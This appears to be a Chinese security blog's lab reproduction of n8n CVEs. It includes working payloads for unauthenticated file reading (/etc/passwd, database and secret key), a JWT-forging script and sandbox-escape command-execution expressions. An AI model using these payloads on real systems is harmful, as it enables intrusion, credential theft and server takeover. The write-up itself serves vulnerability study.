前言
跟跟最新最热
参考:
https://github.com/Chocapikk/CVE-2026-21858
https://0d000721999.github.io/p/cve-2026-21858%E5%A4%8D%E7%8E%B0n8n%E6%9C%AA%E6%8E%88%E6%9D%83rce
https://github.com/wioui/n8n-CVE-2025-68613-exploit
https://www.smartkeyss.com/post/cve-2025-68668-breaking-out-of-the-python-sandbox-in-n8n
基础概念
低代码 Low-Code
这是一种可视化的软件开发方法
传统的软件开发需要使用 C#、Java 和 Python 等编程语言进行完全手动编码。由于所有功能都是专业开发人员从零开始构建的,因此一切都可以自定义。但是由于高度专业化会导致技术团队与非技术团队之间的沟通鸿沟较大。
低代码开发则是一个可视化流程,如同积木编程,所有技能水平的用户都可以使用入门应用、预构建和可重用的组件以及模板,更快地构建业务应用程序。一些经典的低代码平台如积木报表 JeecgBoot
n8n
一个通用的工作流自动化平台,基本概念由 节点 (Node) 和 工作流 (Workflow) 组成
- **节点 (Node)**:节点是工作流中执行具体操作的最小单元。你可以把它想象成一个具有特定功能的“积木块”。n8n 提供了数百种预置节点,涵盖了从发送邮件、读写数据库、调用 API 到处理文件等各种常见操作。每个节点都有输入和输出,并提供图形化的配置界面。节点大致可以分为两类:
- **触发节点 (Trigger Node)**:它是整个工作流的起点,负责启动流程。例如,“当收到一封新的 Gmail 邮件时”、“每小时定时触发一次”或“当接收到一个 Webhook 请求时”。一个工作流必须有且仅有一个触发节点。
- **常规节点 (Regular Node)**:负责处理具体的数据和逻辑。例如,“读取 Google Sheets 表格”、“调用 OpenAI 模型”或“在数据库中插入一条记录”。
- **工作流 (Workflow)**:工作流是由多个节点连接而成的自动化流程图。它定义了数据从触发节点开始,如何一步步地在不同节点之间传递、被处理,并最终完成预设任务的完整路径。数据在节点之间以结构化的 JSON 格式进行传递,这使得我们可以精确地控制每一个环节的输入和输出。
n8n 的真正威力在于其强大的“连接”能力。它可以将原本孤立的应用程序和服务(如企业内部的 CRM、外部的社交媒体平台、你的数据库以及大语言模型)串联起来,实现过去需要复杂编码才能完成的端到端业务流程自动化
REST API
https://www.ibm.com/cn-zh/think/topics/rest-apis
Representational State Transfer(表现层状态转移),简称 REST
REST API 是两个计算机系统在 web 浏览器和服务器中使用 HTTP 技术进行通信的一种方式
相较于 SOAP 或 XML-RPC 这类规定了严格框架的 API,开发者可以使用几乎任何编程语言开发 REST API,并支持各种数据格式,只需要满足以下设计原则:
- 统一接口:无论请求来自何处,对同一资源发出的所有 API 请求都应该看起来相同。(除非设计上就是随机返回)REST API 应确保同一份数据(例如,用户的姓名或电子邮件地址)仅属于一个统一资源标识符 (URI)。资源不应太大,但应包含客户可能需要的每条信息。
- 客户端与服务器解耦:在 REST API 设计中,客户端和服务器应用程序必须完全相互独立。客户端应用程序应该知道的唯一信息是所请求资源的 URI,它不能以任何其他方式与服务器应用程序交互。同样,除了通过 HTTP 将客户端应用程序传递到所请求的数据外,服务器应用程序不应修改客户端应用程序。
- 无状态:REST API 是无状态的,这意味着每个请求都需要包含处理它所需的所有信息。换言之,REST API 不需要任何服务器端会话。不允许服务器应用程序存储与客户端请求相关的任何数据。
- 可缓存性:如果可能,资源应该可以在客户端或服务器端缓存。服务器响应还需要包含有关是否允许对已交付资源进行缓存的信息。目标是提高客户端的性能,同时提高服务器端的可扩展性。
- 分层系统架构:请求的客户端不需要知道它是否在与实际的服务器、代理或任何其他中间人进行通信。
- 按需编码(可选):REST API 通常发送静态资源,但在某些情况下,响应也可以包含可执行代码(例如 Java 小程序)。在这些情况下,代码只应按需运行。
环境搭建
直接使用 https://github.com/Chocapikk/CVE-2026-21858 的漏洞版本
FROM node:20-slim
RUN npm install -g n8n@1.65.0
EXPOSE 5678
CMD ["n8n", "start"]
services:
n8n:
build: .
container_name: n8n-vulnerable
ports:
- "5678:5678"
environment:
- N8N_SECURE_COOKIE=false
- WEBHOOK_URL=http://localhost:5678/
volumes:
- ./init:/init:ro
entrypoint: >
bash -c "
apt-get update && apt-get install -y curl > /dev/null 2>&1
n8n start &
sleep 15
bash /init/setup.sh
wait
"
setup.sh
#!/bin/bash
BASE_URL="http://127.0.0.1:5678"
echo "[*] Waiting for n8n..."
until curl -s "$BASE_URL/rest/settings" | grep -q versionCli; do
sleep 2
done
echo "[+] n8n is ready"
echo "[*] Creating admin..."
curl -s -X POST "$BASE_URL/rest/owner/setup" \
-H "Content-Type: application/json" \
-d '{"email":"admin@exploit.local","firstName":"Admin","lastName":"Exploit","password":"ExploitLab123!"}'
echo -e "\n[*] Logging in..."
curl -s -X POST "$BASE_URL/rest/login" \
-H "Content-Type: application/json" \
-c /tmp/cookies.txt \
-d '{"email":"admin@exploit.local","password":"ExploitLab123!"}'
echo -e "\n[*] Creating workflow..."
RESP=$(curl -s -X POST "$BASE_URL/rest/workflows" \
-H "Content-Type: application/json" \
-b /tmp/cookies.txt \
-d '{
"name": "Vulnerable Form",
"nodes": [
{
"parameters": {
"formTitle": "Upload",
"responseMode": "responseNode",
"formFields": {"values": [{"fieldLabel": "document", "fieldType": "file", "requiredField": false}]}
},
"id": "trigger",
"name": "Form Trigger",
"type": "n8n-nodes-base.formTrigger",
"typeVersion": 2.2,
"position": [0, 0],
"webhookId": "vulnerable-form"
},
{
"parameters": {"respondWith": "binary", "inputDataFieldName": "document"},
"id": "respond",
"name": "Respond",
"type": "n8n-nodes-base.respondToWebhook",
"typeVersion": 1.1,
"position": [300, 0]
}
],
"connections": {"Form Trigger": {"main": [[{"node": "Respond", "type": "main", "index": 0}]]}},
"active": false,
"settings": {"executionOrder": "v1"}
}')
ID=$(echo "$RESP" | grep -o '"id":"[^"]*"' | head -1 | cut -d'"' -f4)
echo "[+] Workflow ID: $ID"
echo "[*] Activating..."
curl -s -X PATCH "$BASE_URL/rest/workflows/$ID" \
-H "Content-Type: application/json" \
-b /tmp/cookies.txt \
-d '{"active": true}'
echo -e "\n"
echo "=========================================="
echo "[+] Lab ready!"
echo "[+] Form: http://localhost:5678/form/vulnerable-form"
echo "[+] Version: 1.65.0 (VULNERABLE)"
echo "=========================================="
账密 admin@exploit.local / ExploitLab123!
CVE-2026-21858 未授权任意文件读取
关于配置项可以查阅文档,实际参数采用驼峰命名法: https://docs.n8n.io/integrations/builtin/core-nodes/n8n-nodes-base.formtrigger/#form-description
前提:目标必须具有带有文件上传字段的的表单工作流,有回显,最好已知对应的 webhook api
易受攻击的配置文件:
{
"nodes": [
{
"name": "Form Trigger",
"type": "n8n-nodes-base.formTrigger",
"parameters": {
"responseMode": "responseNode",
"formFields": {
"values": [{ "fieldLabel": "document", "fieldType": "file" }]
}
}
},
{
"name": "Respond",
"type": "n8n-nodes-base.respondToWebhook",
"parameters": {
"respondWith": "binary",
"inputDataFieldName": "document"
}
}
],
"connections": {
"Form Trigger": { "main": [[{ "node": "Respond" }]] }
}
}
首先是文件上传

原理简述
在 n8n 中,Webhook 作为工作流的起点,可以捕获来自表单、聊天消息、WhatsApp 通知等传入的数据,然后会经过中间件 parseRequestBody 处理

此处对 multipart 包使用 parseFormData 进行解析而其他 contentType 则使用 parseBody 进行解析,parseBody 在解析 json 后会把键值对添加到全局的 req.body 中

而文件上传的 multipart 包在解析后会经过 Formidable 库处理,通常情况 Formidable 库处理后会将上传的文件保存到临时目录下的随机路径
但是 n8n 的文件上传解析器这里实际上是封装了 Formidable 库的 parse() 函数,解析后会将 Formidable 库的输出填充进 req.body,于是就会出现一个问题

很明显如果在调用了文件上传解析器的情况下又使用了 parseBody 来解析 json 里的键值对,就可以导致变量覆盖

而这个问题确实存在于 n8n 的工作流程中: https://github.com/n8n-io/n8n/commit/c8d604d2c466dd84ec24f4f092183d86e43f2518
提交表单使用 formwebhook,它会调用 prepareFormReturnItem,最终会调用下面这段
const { data, files } = req.body;
for (const key of Object.keys(files)) {
const processFiles: MultiPartFormData.File[] = [];
let multiFile = false;
if (Array.isArray(files[key])) {
processFiles.push(...files[key]);
multiFile = true;
} else {
processFiles.push(files[key]);
}
let fileCount = 0;
for (const file of processFiles) {
let binaryPropertyName = key;
if (binaryPropertyName.endsWith('[]')) {
binaryPropertyName = binaryPropertyName.slice(0, -2);
}
if (multiFile) {
binaryPropertyName += fileCount++;
}
if (options.binaryPropertyName) {
binaryPropertyName = `${options.binaryPropertyName}${count}`;
}
returnItem.binary![binaryPropertyName] = await context.nodeHelpers.copyBinaryFile(
file.filepath,
file.originalFilename ?? file.newFilename,
file.mimetype,
);
// Delete original file to prevent tmp directory from growing too large
await rm(file.filepath, { force: true });
count += 1;
}
}
copyBinaryFile 会调用 req.body.files 把文件从指定的文件路径复制到持久存储
而这一过程没有验证是否为 multipart/form-data,因此我们可以用 json 控制其 filepath,于是这个 api 一旦会回显文件内容,我们可以指定 filepath 为本地路径从而实现任意文件读取
poc
文件上传,抓包修改 multipart 包为 json 请求体
POST /form/vulnerable-form HTTP/1.1
Host: localhost:5678
Accept-Encoding: gzip, deflate, br, zstd
Accept: */*
Referer: http://localhost:5678/form/vulnerable-form
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/144.0.0.0 Safari/537.36
Origin: http://localhost:5678
Content-Length: 419
Content-Type: application/json
{
"data": {},
"files": {
"field-0": {
"filepath": "/etc/passwd",
"originalFilename": "1.pdf",
"mimetype": "text/plain",
"extension": ""
}
}
}

实现了任意文件读取
进一步利用,登录 admin
n8n 将 session 存储在一个名为 n8n-auth 的 cookie 中,以 jwt HS256 加密这个 body:

所以我们需要读取相关文件,拿到 id,email,password_hash 和 secret_key,对于 docker 起到 n8n,前三者在 $HOME/.n8n/database.sqlite 这个数据库里,key 在 $HOME/.n8n/config
先查看当前用户目录

然后读取对应内容


接下来生成 jwt
from base64 import b64encode
import hashlib
import jwt
def forge_token(key: str, uid: str, email: str, pw_hash: str) -> str:
secret = hashlib.sha256(key[::2].encode()).hexdigest()
h = b64encode(hashlib.sha256(
f"{email}:{pw_hash}".encode()).digest()).decode()[:10]
admin_token = jwt.encode({"id": uid, "hash": h}, secret, "HS256")
return admin_token
print(
forge_token(
"jpmCgd+nc7oTbAlnxPStjptYBmAxYOAV",
"0121c327-fdce-4a0a-a6c1-38b3bf6bb617", "admin@exploit.local",
"$2a$10$InghmOrG5qXvBZ1FupblleSjxvM0L520sU3BFMxTxq9NLN.FQvO7e"
))
# eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJpZCI6IjAxMjFjMzI3LWZkY2UtNGEwYS1hNmMxLTM4YjNiZjZiYjYxNyIsImhhc2giOiJjTkdQUFhlZzRXIn0.mLSYi6FNf9ZcDmWdF1TEsHYTTTEnjYsQyJO-DaPLgyw
然后就能访问了
CVE-2025-68613 RCE
进入后台后,新建 workflow
添加 “Manual Trigger” 节点,添加 “Set” 节点,连接它们
然后进入 Set 节点的设置,添加 String value,name 取名为 result,使用 expression 模式,然后打入 payload
{{ (function(){ return this.process.mainModule.require('child_process').execSync('id').toString() })() }}

然后执行 test step

成功命令执行
CVE-2025-68668 Pyodide 沙箱逃逸
n8n 中提供了一个 Code 节点可以在沙盒内执行 Javascript/Python 代码,其中 Python 沙盒是基于 Pyodide 实现的
依旧需要后台权限
漏洞影响:1.0.0 <= n8n < 2.0.0
在 Pyodide 中运行的 Python 代码通过 JavaScript Bridge 跨越沙箱边界。通过该桥接器,将调用未受限的 Node.js API,这些 API 提供对进程管理和文件系统操作等模块的访问。因此,攻击者能够以 n8n 进程的权限执行任意操作系统命令。
创建一个新的 Workflow 并添加一个 Python 代码节点。当前环境中对沙箱进行了加固,限制对 require 的直接调用。使用文章中的 poc 进行验证,将报错 ReferenceError: require is not defined:
from js import require
child_process = require("child_process")
output = child_process.execSync("id").toString()
return {"result": output}

但是对于 CTFer 而言要绕过这个 require 还是太轻松了,直接用 process.mainModule 就行了
import js
try:
output = js.eval('process.mainModule.require("child_process").execSync("id").toString()')
return {"result": output}
except Exception as e:
return {"error": str(e)}
我们还可以用 process.mainModule.constructor._load("child_process").execSync("id").toString() 使 payload 里完全不出现 require

CVE-2026-21877 任意文件写入 RCE
漏洞影响: 0.123.0 <= n8n < 1.121.3
https://github.com/Ashwesker/Ashwesker-CVE-2026-21877
作者删库了
只能看看这里的修复方法——管理员可以通过禁用 Git 节点并限制不受信任用户的访问权限
CVE-2026-1470 node 表达式注入沙箱逃逸
https://xz.aliyun.com/news/91575
版本:< 1.123.17,[2.0.0, 2.4.5),[2.5.0, 2.5.1)
payload:
{{ (function(){ var constructor = 123; with(function(){}){ return constructor("return process.mainModule.require('child_process').execSync('id').toString().trim()")() } })() }}